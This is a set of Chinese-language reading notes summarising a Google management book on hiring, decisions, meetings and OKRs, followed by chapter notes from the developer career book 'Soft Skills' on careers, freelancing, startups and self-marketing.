雇用那些多才多艺、兼有独特兴趣和天赋的人。不要雇用那些只为工作而活的人。
雇用那些道德高尚、坦诚沟通的人。不要雇用那些趋炎附势、工于心计的人。
雇用那些优秀的候选人。宁缺毋滥。

应届毕业生最看重的往往是公司，然后才考虑职位和行业。但是，在职业生涯的起点，这样的排序恰恰是本末倒置。在职业生涯中，许多人往往会换好几次公司，而改变行业却要困难得多，因此，选择好行业才是重中之重。把行业视为你冲浪的地点，把公司当成你赶上的海浪。

从薪酬角度来看，在你的职业生涯初期，能够获得的员工优先认股权以及其他股票的种类是比较受限制的，因此，在正确的行业磨炼技能要比在某家公司赌上自己的命运更加合算。在此之后，随着经验（以及年龄）的累积，挑选合适的浪头变得越发重要。因为到了那时，股票在你的薪酬构成中所占的比例大幅上升，因此你也应该相应地将对公司的挑选放在优先位置。

在挑选公司的时候，听听那些真正懂行的科技达人的意见。

许多科技达人在将科技当作自己的职业之前，已在科技和创业方面积累了不少经验。

制订规划的步骤：

思考一下，5年之后，你理想中的工作是什么样的。你想做什么样的工作？想要什么样的收入？描述一下你心目中的理想职位：如果你在网上看到了这份工作的招聘信息，那么这广告具体会是什么样的呢？现在，把时间快进四五年，假设自己已经得到了这份工作。那么，你5年后的简历会是什么样的？想要得到5年后心中理想的位置，你从现在起需要如何选择前面的路？
接着规划你的理想工作，从这份工作的角度来看，你的不足和优势是什么？要得到这份工作，你需要做出哪些改进？在思考这一步时，你需要倾听别人的看法。因此，和你的上司或同事谈一谈，听听他们的意见。最后还要思考：如何得到你理想的工作？你需要接受什么样的培训、需要积累哪些经验？

哪些产品的价格越来越低廉，人们就应该培养与这些产品相配套的领域所需的专业知识和技能。

多数企业都有丰富的文字信息，你可以把其中最好的资料拿来阅读。

阅读不要止于公司内的信息。

无论规模大小，处在哪个领域，业务永远向全球扩展，但人却天生具有地域性。

第四章决策：共识的真正含义

做决策，是每家企业以及每位企业领导者的基本工作，而制定企业策略、聘请合适的人才、创立独特的企业文化，都是做决策的前提。

在制定决策的时候，不能一心只想做出正确的决定。制定决策的方式、时机和实施决策的具体方法，与决策本身同样重要。

以前，人们大多以主观想法和传闻逸事作为决策基础，而今，数据成为制定决策的主要根据。

“共识”并不是指人人都必须同意，而是指共同达成对公司最有利的决策，并围绕决策共同努力。

要想达成最有利于公司的决策，就需要有异议存在。

最好的决策应该是正确的决策，而不是竭力争取大家一致同意而找出的最低标准，也未必是领导人自己的决策。

对于决策者而言，最重要的任务就是：设立最后期限，进行决策工作，按最后期限完成。

如果你不确定某种行为是否正确，那么最好的解决办法就是尝试，然后加以改进。

在决心采取行动之前，应该尽可能长时间地静观其变。

决策者的职责就是准确地拿捏时机。把乐于行动的劲头拿出来，中止没有意义的讨论和分析，让团队行动起来，为实施决策而团结一心。

首席执行官或企业高管必须磨炼的一项重要技能，就是判断何时该自己出马、何时该把决策权交给别人。

不应该多做决策。你的任务，就是分析数据、鼓励讨论、引导大家达成共识，凭借你过人的才识做出决策。

当你要做一个关乎企业存亡的决策时，每天开会就是理所应当的了。

奥普拉·温弗瑞法则：如果你想改变他人，不仅要晓之以理，更要学会动之以情。

要从感情上承认一个自己并不同意的决策，人们必须首先感觉到自己的观点不仅得到了倾听，还得到了重视。

会议准则：

会议应该有一位决策者或主持。
决策者应当亲力亲为。
即便是在信息共享或头脑风暴这种不必制定决策的会议上，也应明确指定会议的主人。
会议应该很容易取消。
会议规模应以便于管理为宜。
出席必要的会议。
守时很重要。
开会时就认真开会。

马背原则：在一定的情况下，我们只需坐在马背上，快速环视四周，然后继续上路。

管理团队往往会低估一款新产品上市后多长时间才能赢利。

必须把注意力和热情都集中在核心业务上。

热爱一项事业，就应该为离开它做好规划。

正确的做法，是集中注意力寻找那些已经崭露头角、升职速度快的杰出创意精英。

第五章沟通：当最牛的路由器

共享一切指“除了极少数有违法律法规的信息，其他一概与大家共享”。

员工不敢向领导抛出难题，因此往往会提简单问题。

必须营造一个让大家时时敢于提出难题和发表忠言的环境。

谈话仍然是最主要且最有价值的沟通方式。

很多情况下一件事情需要重复大约20遍才能被人真正听进去。

以正确的方法进行信息轰炸：

沟通能否强化你希望深入人心的核心理念呢？如果你把某句话重复了20遍，别人却仍然听不进去，那么问题就不在于你的沟通方式，而是在于你所传达的理念。
沟通有效吗？有的时候，我们需要变换阐述理念的方式来抓住（或拉回）听者的注意力。
沟通是否有趣、鼓舞人心？
沟通是否发自肺腑？越是真情流露，就越能打动人心。
沟通对象是否合适？有效的沟通只应该针对需要这些信息的人。
你使用的沟通媒介合适吗？如果你的信息很重要，那就调动手边一切方式把信息传达出去
诚实谦虚，积攒人品。如果你能把诚实谦虚的风气融入日常工作，就会让你获得团队的青睐和忠诚。

检视自我：至少一年一次针对自己的表现写一份评估，然后读一读，看看你自己是否愿意接受自己的管理。之后，把这份评估发给你管理的员工。

电子邮件原则：

迅速回复。积极的回应能让信息良性循环，这样，你的团队和同事在进行重要讨论和决策的时候就更有可能把你包括在内。积极回应所有人的做法对你一直想要倡导的不分层级、任人唯贤的理念也有积极的作用。
在写电子邮件的时候，每个字都很重要，冗长的堆砌则是多余的。你要先拟一份草稿，然后通读一遍，把多余的词语剔除出去。
经常清理收件箱。尽可能一次处理完毕。
先处理后收到的邮件。
不要忘了，你是台路由器。如果收到一封含有有用信息的邮件，就该考虑一下这封邮件还有可能会帮到谁。
在你使用密件抄送功能时，问问自己为什么要这么做。
不要拿邮件泄愤。
要方便跟踪进度。
帮助未来的你更方便地搜索信息。

一对一会谈：管理者应当把最想在会谈中涉及的5件事写出来，员工也应该列一份这样的单子。

一对一会谈大纲：

工作表现
- 可以是销售数据
- 可以是产品交付情况或有关产品的重大进展
- 可以是消费者的意见或产品质量
- 可以是预算数目
与同事之间的关系（这对企业成员的团结一致非常关键）
- 产品人员和工程人员的关系
- 市场人员和产品人员的关系
- 销售人员和工程人员的关系
领导与管理
- 你有没有对你的人员起到指导和帮助的作用？
- 你有没有把“害群之马”清除出团队？
- 你有没有在人才招聘上下功夫？
- 你能否激励员工做出创举？
创新（最佳实践）
- 你是否一直在进步，是否一直思考着如何才能变得越来越好？
- 你是否经常对新的技术、新的产品及新的方案进行思考和评估？
- 你是否将业界或世界上最顶尖的人或企业作为对比标杆？

董事会：要关心，莫插手

要搭建平台和建立成功的产品体系，企业就离不开合作伙伴的帮助。

媒体访问：对话，而非传话

企业不应被条条框框束缚，因此，混乱的状态是最合理的。

三周原则：在接手新职位的前三周里，你不必做什么。你只需听取大家的心声，看看他们的问题和关注点在哪里，了解他们、关心他们、赢得他们的信任。

第六章创新：缔造原始的混沌

如果你的产品只是满足了消费者提出的需求，那么你就不是创新，而只是做出回应。

创新的东西不仅要新颖、出人意料，还要非常实用。

在决定是否要实践某个想法的时候：

这个想法必须涉及一个能够影响数亿人甚至几十亿人的巨大挑战或机遇。
这个想法必须提供一种与市场上现存的解决方案截然不同的方法。我们不希望在已有的做事方法上做改进，而是想另辟蹊径。
将突破性解决方案变为现实的科技至少必须具备可行性，且在不久的将来可以实现。

所有的公司不仅要先营造一个让各种创意因素以新奇的方式自由碰撞的环境，还要提供时间及自由，让小部分创意进化和生存，并让余下的大部分凋零和消亡。

“第一追随者”原则：在发起一个行动时，吸引第一个追随者是至关重要的一步。

聚焦用户，赚钱便水到渠成。

往大处想的思维方式赋予了创意精英更多自由，解开了羁绊，激发了创意。

赌注下得越大，成功的概率往往也越大，因为企业无法负担失败的损失。

较大的问题通常也较容易解决，因为挑战越大，越能吸引顶尖人才。

OKR：

完备的OKR不仅制定了大的“目标”，也确立了易于衡量的“关键成果”。
顺应谷歌的“往大处想”理念，合理的OKR应当有一定难度，达到其中所有的要求应是不可及的。
OKR系统几乎人人可用。
OKR需要打分，但这分数不作他用，甚至没有人来记录。
OKR并非包罗一切，只有那些需要特别关注的领域以及不做出额外努力难以达成的目标，才用得上这个系统。
在企业文化中采用OKR体系，会避免人们被竞争者牵着鼻子走。

将70/20/10作为我们的资源配置原则，即将70%的资源配置给核心业务，20%分配给新兴产品，剩下的10%投在全新产品上。

资源上的稀缺，是激发创意的催化剂。

谷歌的“20%时间”工作方式，允许工程师拿出20%的时间来研究自己喜欢的项目。该制度的重点在于自由，而不在时间长短。

无论你想把这20%的时间用在何处，只要不妨碍你的正常工作，那就没有人能阻止你忙自己的事。

要想让一个好的构想开花结果，首先应当构建一支肯为这个构想倾力付出的团队。

20%时间制最为宝贵的地方不在于由此诞生的新产品或新功能，而在于人们在做新的尝试时所学到的东西。

打造一款产品，投放市场，看看反响如何，设计并加以改进，再重新投入市场。

具体实行交付——迭代模式的时候，尽量不要在产品上市时借助市场营销手段和公关宣传的力量。

要想创新，就要学会把败仗打漂亮，学会从失误中汲取教训。

因此在放弃一个项目时，要仔细审视其组成部分，看看有无可能重新投放在其他领域。

管理者的任务不是规避风险或防止失败，而是打造一个不会因风险和无可避免的失误而垮台的环境。

需要快速地迭代，建立检验标准，看看每次迭代有没有把你一步步推向成功。

结语

曾经盛极一时的产业的瓦解及其对经济带来的影响，一定会在短期内带来痛苦和混乱。

既有企业执意维持现状的几个原因：

从大企业的视角而言，多数创意都是看似前途未卜且微不足道的小机遇，不值得公司投入时间和精力。
从个人的视角来看，大企业的成员不但不会因敢于冒险而得到奖励，反倒会因为失败而遭到惩罚。在这种失衡的奖罚措施之下，理性的人都会选择安稳自保。

我们觉得，几乎所有大的难题都可以归结为信息问题，也就是说，只要有足够的数据、具备足够的数据处理能力，人类所面临的几乎所有问题都有解决方法。

【读书笔记】软技能 - 代码之外的生存指南

Mon, 02 May 2022 07:23:08 GMT

第一篇：职业

第1章为何这本书与你先前读过的任何书籍都迥然不同

在我们成长过程中，我们被迫接受的大多数教育体系是支离破碎的，因为它们都依赖于一个错误的前提：你必须要有老师去教，学习只在一个方向上流动。

你所能犯的最大错误就是相信自己是在为别人工作。这样一来你对工作的安全感已然尽失。

职业发展的驱动力一定是来自个体本身。

记住：工作是属于公司的，而职业生涯却是属于你自己的。

第2章从非同凡响开始：绝不要做他人都在做的事

只有你开始把自己当作一个企业去思考时，你才能开始做出良好的商业决策。

职业生涯中必须要做的第一要务：转变你的心态，从被一纸“卖身契”束缚住的仆人转变为一名拥有自己生意的商人。在起步阶段就具备这种心态会改变你对职业生涯的思维方式，将此铭记在心，并积极主动地管理自己的职业生涯。

你所能提供的服务就是创建软件。

你需要认识到仅有服务或产品是不够的。想赚到钱，你就必须能让潜在的客户了解该产品或服务。

产品营销做得越好，你就能给服务定越高的价格，也越有机会吸引更多潜在的客户。

非同凡响需要做到：

专注于你正在提供怎样的服务，以及如何营销这项服务；
想方设法提升你的服务；
思考你可以专注为哪一特定类型的客户或行业提供特定的服务；
集中精力成为一位专家，专门为某一特定类型的客户提供专业的整体服务（记住，作为一个软件开发人员，你只有真正专注于一类客户，才能找到非常好的工作）。
还要想想如何更好地宣传你的服务，如何更好地找到你的客户。

第3章思考未来：你的目标是什么

起步阶段最简单的就是在心中树立一个大目标，然后再建立能帮你达成这个大目标的小目标。因为很难清晰地界定远期可能发生的事情，所以大目标通常不是非常明确。不过没关系，当你制订远期的大目标时，不一定要非常具体。大目标只要足够具体到给你提供清晰的方向即可。

大目标并不需要那么具体，但是必须足够清晰，能够让你知道自己是在向它前进还是离它越来越远。

一旦你想通了自己长远的大目标是什么，下一步就是设定路线，制订通往大目标的小目标。有时还可以运用一下逆向思维，反推一下如何从大目标到当前的情况：如果你已经达到了大目标，那么沿途你都经历了哪些里程碑？你能想象出哪条路径可以让你从大目标反推到你现在的情况？

如果你可以驱动小目标逐渐前行并靠近你的大目标，那么最终你一定会到达目的地。

较小的目标可以让你航行在自己的轨道上，激励你保持航向朝着更大的目标前进。如果你准备达成一个大目标，却没有分解为小目标，那么当你偏离航向时也不会有时间去校正。

达成较小的目标也能经常奖励自己，帮助并激励自己。每一天、每一个星期的小胜利会让我们觉得自己正在取得进展、达成目标，这让我们感觉良好，帮助我们继续前进。较小的目标似乎也不像大目标那样令人望而生畏。

我建议你定期核对自己的目标。这有助于在必要时进行调整，让你对自己负责。你可能愿意在每周末为下一周设定目标之前先检查上周设定的目标。这同样适用于每月、每季和每年。

第4章人际交往能力：远比你想象的重要

在软件开发领域，我们大多数时候是与人而非与计算机打交道。

以自己为核心，每个人都希望自己很重要。

奖励积极行为要比惩罚消极行为有效得多。

停止用“我”和“我想要什么”来思考。你应当开始思考对他人而言什么才最重要，什么才是他们需要的。通过这种换位思考，你会避免让他人觉得自己不受重视，你也能少批评人。被你用这种方式对待的人，也更可能用讨人喜欢的方式与你打交道，也更认可你的想法的价值。

尽管我们为自己的智慧感到骄傲，但我们依然是情感动物。

必须要不惜一切代价避免争吵。

如果你意识到某个人就是所谓的“苛性碱”，不要试图去改变他们，也不要试图去和他们打交道，就让他们停留在自己的轨迹上，你所要做的只是尽量限制自己与他们互动。

第5章破解面试之道

与主流观念相反，大多数面试官决定雇用某个人其实是基于各种各样的非技术因素。

当许多技术过硬的开发人员都在竞争同一个工作岗位时，决定胜负的最大因素已经不再是技术能力了。

破解面试的要诀就是在面试开始之前就思考应对面试的策略。

大量工作岗位来自“个人推荐”。你要试图确保你申请的职位也适用于个人推荐。如果你是被他人推荐去面试，因为有推荐人的社会公信力做背书，面试官会自然而然地高看你一眼。推荐人的声誉及他与面试官的交情，有一部分就延伸到了作为应聘者的你的身上。当你进入面试环节，面试官早就对你有所偏爱，因为你是由他们喜欢和信任的人推荐来的。

你必须要突破常规，想尽办法与公司内部人员建立联系。

如果你现在就需要一份工作：你最好尽早与面试官建立联系，尽最大可能做好如下工作：看看能不能在面试之前得到预面试的机会，在你坐下来进行真正的面试之前请求跟面试官见面，谈谈公司状况，或者问一些问题。你可以打一个5分钟的电话和对方简短地聊一聊。想方设法在能影响面试结果的人面前展示自己。

从雇主的角度看，招聘员工就是一项投资。招聘员工要花费时间和金钱，所以老板当然想看到良好的投资回报率。能够自发地、无需过问就能做事的员工通常能增加公司的净收入，此外，他们也让老板少操心，只占用少量的管理资源。

面试的时候你要集中精力证明自己就是无需督促也能自动自发做好事情的员工。

你还必须要证明：在技术上你确实胜任工作。同时，如果你能说服面试官相信你非常能干，不会被困难阻挡，那么他们不仅会喜欢你，而且更有可能会录用你。

提前能做的事：

你应该做的第一件事是确保自己仍旧保持技术能力。
你也可以未雨绸缪，拓展自己的社交网络。
别忘了实践。即便你现在对换新工作毫无兴趣，为了获得面试经验，你也要去面试。练习得越多，你在真正的面试时也就越游刃有余。
集中精力推销自己会对你大有裨益

第6章就业选择：列出你的选择

雇员：

好处：稳定、从业之路比较轻松、带薪假期、（可能会有）医疗保险（在美国）
弊端：缺少自由、收入封顶

独立咨询师：

好处：更大的自由度（自己掌控时间）、可以持续不断地做新项目、赚钱潜力
弊端：自己去寻找业务、打理一切事务的开销、从“为一个老板服务”变成了“为许多老板服务”

创业者：

好处：完全自由、巨大的赚钱潜力、做你想要做的工作、没有老板
弊端：风险很大、完全依靠自己、需要许多其他技能、可能需要长时间工作

对大多数软件开发人员而言，特别是在职业生涯的起步阶段，做一名雇员是明智的选择。这个选择的风险最小，你不需要具备大量的经验。

第7章你是哪类软件开发人员

专业化的规则是：专业化程度越深，潜在的机会就越少，但获得这些机会的可能性越大。

比较明显的分类方法是按照开发语言分类和按照平台分类，但是也可以按照方法论分类、按照技术或业务种类分类。

专业领域：

Web开发栈
嵌入式系统
特定的操作系统
移动开发
框架
软件系统

即使我推荐走“专业化”道路，也不代表我认为你不应该同时具备广泛的技能。

第8章公司与公司是不一样的

在小公司、中等公司和大公司工作的一些优点和缺点：

小公司：承担多种职责、灵活的角色转换、对工作的影响较大、回报潜力大；没法安静地坐下来写代码、工作在众目睽睽之下、稳定性差
中公司：工作稳定、加班较少；变化很慢低下、没有机会使用前沿技术
大公司：完备的流程和规范、培训机会多、大型有影响力的项目；充斥着官僚主义作风、可能只负责代码库的一小部分、很难获得关注

公司之间的区别：一种是软件开发人员只负责内部软件或他们正在生产的部分产品的公司，另一种是生产软件或者做软件开发就是核心业务的公司。

第9章攀登晋升阶梯

在任何公司里能让你脱颖而出的最重要法宝就是承担更多的责任。

在你的职业生涯中，你经常会面对更多金钱还是更多责任的选择。至少从长远来看，正确的选择几乎永远是更多责任。

另一种间接承担责任的方式是成为团队中其他人的导师，自愿帮助新人加速成长，为任何有需要的人提供帮助。

如何能让自己承担更多责任：

有一个不受重视的项目，你能去负责它吗？
你能帮助团队里的新人快速成长吗？
你能负责文档制作流程，并保证及时更新这些文档吗？
哪项工作是没有人愿意去做，你愿意承担起来，并将其简化或者自动化的？

如何令自己引人注目：

每天都记录自己的活动日志——把这个日志以周报的形式发送你的经理。
提供演讲或培训——选择一个对你的团队有用的话题。
发表意见——只要在会议上就这么做，或者只要你能得到的机会就这么做。
保证“曝光度”——定期与老板会面，确保你经常被注意到。

可以获得提升的非常好的办法就是不断增加自己的技能和知识。

如果你把目标设定为更高级别的岗位甚至是行政岗位，你还需要学习领导力、管理和商科的相关知识。

千万不要忘记分享自己学到的东西。

你要成为那个永远能为各种问题找到解决方案的人，要成为勇于执行这些解决方案以获得成果的人。

如果没有任何晋升的机会：离职。有时候只要意识到自己的工作毫无前途，就需要寻找更好的机会。但首先确保还有另一份工作在等着你。

尽管不能完全避开政治，但至少应该知道会发生什么，哪种人需要避开，哪种人永远不要有交集。

第10章成为专业人士

成为专业人士的全部在于：引人注目，恪尽职守，以及不屈服于挫折。

一些专业人士和外行的差异

专业人士：遵守自己的原则、专注于正确完成工作、不惧怕承认自己错了，不会文过饰非、持续稳定、勇于承担责任
外行：让干什么就干什么、专注于完成工作、不懂装懂、无法预测，不可靠、回避责任

软件开发人员所要面对的最大的道德挑战就是：以他们了解的决策前行是正确的，也符合客户的最大利益，但是这样的决定可能会危及自身福祉或职业稳定。

如果我承担不起说“不”的代价又该如何：请尽快脱身。存一些钱，这样你就不必担心失去工作。你甚至可以考虑找一份新工作，一份不会要求你做很多道德上的抉择的工作，或者一份你的意见更有价值的工作。

作为一位专业人士，你必须不断改善和提高自己的工作品质。你或许不能一直达到自己期望的工作品质，但随着时间的推移，持之以恒地坚持下去，你终究会达到自己设定的标准。

如果你在某个领域降低了自己的标准，那么你最终会不经意间在其他领域也降低标准。一旦你越过了底线，选择妥协，就很难再回头。

第11章赢得自由——如何辞职

如果我真的想跳槽，唯一可能的方法就是，弄明白如何开展我的新业务（维持现有的工作岗位，把这个当作副业），并让它足够成功，这样即便薪水大幅减少，我依然能完成转型。

在考虑辞掉工作之前，你需要有一个切实可行的计划。我强烈推荐先在业余时间启动你想创建的业务，等能从这项业务中产生足以维持生计的收入时，你再转为全职。

我现在已经离职，没有什么积蓄，怎么办？

在这种情况下，我的建议是：努力工作，养成高效的好习惯，给自己最好的成功机会。你还要尽可能削减开支，这可能意味着你连有线电视都没得看了。你要尽可能地开源节流。

同时也要现实一些。仔细想想自己还能维持多久，自己能做些什么来维持更久。你要制订一个计划：什么时候你就得认怂，重新做回雇员。你以后总可以东山再起，只要你没有因为巨额信用卡债务，只要你没有把房屋抵押掉，只要你没有从朋友和家人那里到处借钱以影响到自己的未来。

同时，你还应该知道自己并非个例。

在为别人工作时，我们平均每天只有一半时间在努力工作。

以前上班时，有可能一天真正勤奋、富有成效的工作时间只有2小时。

你为自己工作时会比为别人工作时更努力，尽管投入的时间是一样的——你需要为此做好充分准备，你还得适应这种工作负担。

在为自己工作时，你不能计划每个工作日就只有8小时工作时间。

辞掉工作之前，很重要的一点是你对自己实际承担的工作量有一个符合实际的预期，并训练自己提前处理更高强度的工作负荷。

在你开始做兼职项目（最终会成为你的全职工作）之前，你要仔细查看当年入职时你同意了哪些条款。如果劳动合同中规定任何工作成果都属于公司，那你需要与法律人士协商，看看如何妥善解决这种情况。

第12章成为自由职业者：开启自己的一片天地

自由职业者不只为某一个客户工作，而是以固定价格或时薪的方式将自己“出租”给多个客户。

自由职业者的一大担忧是接不到工作，于是也就没有报酬。如果没有足够的工作填满自己的时间，或者在完成一个客户的工作之后你不得不积极寻求更多的客户，你的压力会很大。最好的情形是工作任务已经提前安排妥当，或者处于工作太多不得不推掉一些的状态。

你需要有长期客户，以此来确保未来的业务量，同时你也需要有稳定的新客户上门。

获得客户的最佳方式是通过你已经认识的人。熟悉你的人更容易信任你，特别是在启动阶段。还没有辞职的时候，你就要在自己的社交网络上发布消息，让你的朋友和熟人知道你将要成为自由职业者，正在寻找业务。务必让他们明确知晓你到底能为他们做什么，你能解决怎样的问题。

列出所有你认识的并且可能会对你的业务感兴趣的人员名单，给他们发私人邮件，让他们明确知晓你能为他们做什么，以及他们为什么要雇用你做这项工作。你的潜在客户越多，找到业务的可能性越大。找到业务基本上就是一个数字游戏。不要害怕经常发邮件让别人随时了解你的服务。随着时间的推移，这种勤奋总归会有回报的。

“吸引式营销”基本上就是让潜在的客户主动送上门，而不是你去找他们。你要做的事情就是免费提供有价值的东西。

电子邮件营销是推广产品或服务的最佳和最有效的方法。

“吸引式营销”唯一的问题是起效时间略长。你必须有足够丰富的内容来吸引足够多的潜在客户来充实自己的工作渠道。

大多数自由职业者都大大低估了他们能够向客户收费的金额以及他们需要向客户收费的金额。

作为一个自由职业者，要想维持以前的生活水准，你不能收取同样的费用。

成为了自由职业者之后，你的时薪水平应该是作为全职雇员时的两倍。

全职雇员的薪酬：每小时50美元-无；实际收入=每小时50美元
自由职业者的薪酬：每小时100美元-自主就业税-办公设备-会计或者记账员-非计费时间；实际收入=每小时50美元

如果你的营销策略是基于自己的服务可以为客户节省大笔开支或者提高他们的业务，你就可以根据自己的服务为客户带来的价值来定价。

如果没有任何潜在客户跟你讲“不行”或者“你的收费太贵了”，马上提高费率！不断给你的收费加码，直到你听到“不行”为止。客户愿意为你的服务付的价格可能会让你大吃一惊。

第13章创建你的第一个产品

作为一名软件开发人员，你拥有成为一名企业家得天独厚的优势，不仅能提出概念或新想法，还能自己把它创造出来。

许多软件开发人员一开始就深陷创业者最常犯的错误之中——在为产品找到客户之前就构建好产品。

如果你想开发出一款产品，第一步应该是筛选出一组特定的受众，他们也是你的解决方案的目标用户。针对这些人你要解决的问题是什么，你可能已经有了总体概念。不过在很多情况下，你要多做一些调研，找出要么没被解决的问题，要么没有被很好解决的问题。

去目标客户常去的地方，与用户参与的社区交流，了解一下普遍存在哪些问题。你能从中看到的痛点有哪些。

你应该通过测试市场来验证你的产品，看看你的潜在客户是否真的愿意为它买单。

创建一个简单的销售网页，讲述你将要创建的产品以及它将解决什么问题，讲述你的产品会包含哪些内容以及产品上市的确切时间，给个折扣价让感兴趣的人可以提前预订产品，保证产品一发布他们就能拿到。你还要提供退款保证，让潜在客户知道如果你的产品不能如期交付或者不能令他们满意，他们可以得到退款。

可以决定是否要修改产品或者作品，因为你不是在解决正确的问题，或者你可以直接退款给那几位预订者，向他们道歉，告诉他们感兴趣的人不多。

你必须明白并意识到，自己的首次创业可能会失败，很可能第二次、第三次也是如此。直到经过足够多的失败，你才可能真正成功。

第14章你打算开始创业吗

不同的创业型公司：

第一种创业公司在成立伊始就试图以获得外部投资者的投资来刺激公司快速成长。
另一类创业就是自力更生创业。

自力更生创业完全由其创始人提供资金支持。如果你创立了自力更生型公司，你不需要从投资人那里募集资金，也不在乎公司能否立刻做大。这类公司通常规模比引入投资人的创业公司小，但是失败的可能性也更低，因为他们通常开销更小，同时由于没有放弃公司的多数股权，创始人在业务上也更有控制权。

典型的退出策略就是说，当公司成长到一定规模的时候希望公司被人收购，这样，创始人和投资者都可以获得丰厚的回报，公司未来发展所要面临的风险可以在很大程度上得到规避。

通常，当你着手创建一家创业公司的时候，你对自己要创建怎样的公司已经有了想法。通常，这家公司要有些独一无二的知识产权，使得它的那些规模更大的竞争对手难以进入并简单地复制你正在做的。很好的创业候选是能够申请专利或受保护的新技术和新方法，而糟糕的创业候选则包括餐厅或其他缺乏独创、很容易被复制的服务。

要想在创业启动时获得额外的帮助，申请加入创业加速器计划是个好方法。加速器是帮助创业型企业启动项目的计划，通过向创业公司注入小额资金来换取公司的一些股份。

对创业公司而言，第一个重要里程碑就是获得第一笔资金，可以说这是创业生死攸关的大事。

股权是你创业的命脉。没有股权，你的辛勤工作就无法获得回报，你也无法回报投资者。

第15章远程工作的生存策略

挑战：

时间管理：
- 真正解决这个问题需要缜密的时间管理。你可以在你想工作的任何时间再去工作，但是你必须要设定每周的日程表并且坚持下去。日程表越有规律、越是规划得当越好。
自我激励：
- 当你感到倦怠时，日程表和常规是非常重要的倚靠。
- 当你不想工作的时候，有一个必须工作的固定时段可以帮你保持足够的激情去完成工作。
- 你还要尽可能排除干扰和诱惑，让它们远离你的工作环境。
- 实在没有动力的时候：坐下来，设定一个15分钟的计时器，开始工作。在这15分钟里，你必须工作。你不能让自己分心，必须专注于手头的任务。15分钟纯粹且专注的工作结束后，你可能会发现继续下去变得容易些了。
孤独感：
- 大多数在家办公的软件开发人员并没有意识到，长期缺乏社交会使自己变得孤独。
- 如果不能在一年左右的时间里找到社交生活，你一定会感到自己要疯掉了。
- 走出去！确保你每周都能走出家门，让自己有机会去认识除配偶和孩子以外的其他人。试着加入本地的软件开发者小组，每周或者每月参加他们的聚会。换个场景，到咖啡馆去工作。
- 参加会议和其他社交活动让我有机会面对有兴趣的参加者侃侃而谈极客话题。

找不到远程工作的岗位：

你可以看看你当前的工作是否可以变成远程工作。
你可以开始关注允许远程工作的公司，或者完全分布式工作的团队，开始与这些公司建立联系。

第16章假装自己能成功

心理暗示：

你仿佛已经具备了成功完成任务的技能和天分；
你仿佛已经成为自己想成为的那类人；
仿佛战斗已经结束，而你大获全胜，因为你深知如果自己坚持不懈，胜利就在眼前；
你仿佛已经对即将踏上的未知道路驾轻就熟。

你还记得第一次写代码或者第一次学某种编程语言吗？那时候你觉得它很难，不是吗？现在呢？

不是建议你向未来的雇主展示自己不具备的技能，声称自己具备尚不具备的能力。相反，我建议你坦率、诚实地面对自己的能力或不足，同时保持“我以前已经克服过那些困难”的心态和姿态，因为你清楚地知道，唯一横亘在“现在的你”和“未来的你”之间的是时间。

第17章单调乏味的简历——如何修改

靠谱的简历代笔者：

熟悉技术行业
不能雇一个不知道该如何充分推销你的开发技能的专业简历写手
可以给你展示简历样本
想知道你能得到怎样的工作的最好的办法就是，看看简历写手已经写好的简历上的工作

在请一位简历写手之前，你一定要确保准备好了他所需的所有信息。

当你找到一位简历写手的时候，你主要是要请他做两件事情：

为你的经历做一个文字优美引人入胜的广告，令你看起来光彩照人；
让这份广告看上去装帧精美，格式赏心悦目。

对软件开发人员来说，简历不一定要花哨好看，但一份专业的简历非常重要。

改善简历：

把简历放到网上：确保雇主能够很容易访问你的简历。如果你申请Web开发的职位，这一点尤其重要；
简历要有创意：简历样式不落俗套，别人一眼扫过去就会被深深吸引
使用“行动-结果”的描述：你的简历应该展现你都做了哪些工作及相应的结果。这样你的潜在雇主既能了解你会干什么，还能了解你能取得的成果，以及雇用你会给他们带来的收益
校对：即使是聘请专业的简历写手，你也要通篇校对。简历里有错别字或拼写错误会让人觉得你粗心大意

第18章请勿陷入对技术的狂热之中

在很多情况下，解决问题并不只有一个好的或是最好的方法。

没有理由去强烈坚持自己选择的技术就是最好的，而轻视甚至无视其他技术。如果固执己见，最终受损失的是你自己。

第二篇：自我营销

第19章针对“码农”的营销基础课

营销的核心在于将一些人所需要的所期待的产品或者服务与产品或服务本身连接起来。

自我营销的正确方式就是为他人提供价值。

当你试图说服他人接受你的想法时，本质上，你就是在把自己的想法推销给他们。

自我营销无非就是学习如何控制好自己要传达的信息，塑造好自己的形象，扩展信息送达的人群。

当你营销自己的时候，你就是在积极地管理自己的职业生涯，有目的地选择好如何塑造自己，以及将塑造好的自己主动推送给那些对你感兴趣的人。这些人或者想听到你的想法，或者想雇用你，或者想购买你提供的产品或服务。

你也许是世界上最有天赋的软件开发人员，但是如果没有人知道你的存在，你也只不过是浮云一片。

即便你不认为自己是专家，也并不妨碍你现在就开始自我营销。事实上，试图找出自我营销的方法，可以让你成为专家，专门从事某一特定领域的软件开发工作。

自我营销要从打造能代表你自己的个人品牌做起。

自我营销的方式：

博客：你自己的博客，以及你在别人的博客上发表的特邀文章
播客：创建自己的播客频道，同时接受其他播客频道的访谈
视频：在YouTube这样的视频网站上上传自己的分享内容和课程主题视频
给杂志投稿：给软件开发相关的杂志写文章
书籍：著书或者自出版
代码营：大多数代码营都允许参加者自由发言
技术会议：拓展社交网络的好方法，如果能在研讨会上发言尤佳

我营销的基本机制是，要想让人们追随你、倾听你，你就要带给他们价值：你能为他们的问题提供答案，甚至是给他们带去欢乐。

如果你在持续自我提升的同时并没有给他人带来价值，那么你终究不会走得太远，因为每个人都会离你而去。

第20章打造引人注目的品牌

品牌并不只是商标。品牌是对产品或服务的一整套预期。商标仅仅是品牌的视觉符号而已。品牌的关键并不在于视觉元素，而是品牌带给你的感受，是你与品牌互动时的预期。品牌即承诺：承诺按照你预期的方式交付你所预期的价值。

要打造一个品牌，你需要四个要素——品牌所要传递的信息、品牌的视觉符号、品牌的一致性和品牌的曝光率。

信息就是你想传达的，以及品牌所承载的情感诉求。在你创立个人品牌时，你需要一条能代表品牌的核心信息。你的品牌是干什么的？你是干什么的？例如，我的个人品牌Simple Programmer（简单程序员）是围绕着“化繁为简”这个信息做文章：我把各种复杂的概念分解后，转化为人人可以理解的简单概念。

一套能够代表品牌的色彩和风格有助于提升品牌辨识度，加速品牌信息的传播。

即使你用自己的名字作为品牌，你也可以为它创建个出众的标识。

个人品牌的一致性越强，就越能被更多人关注，也更容易被记住。

通过写博客、写文章、发表演讲、创建视频分享、做播客内容等一切手段，你需要竭尽所能传播你的信息，扩大你的知名度。你的品牌传播的频率越高、传播的范围越广，目标人群记住它的概率才会越高，你被人们记住的概率才会越大。

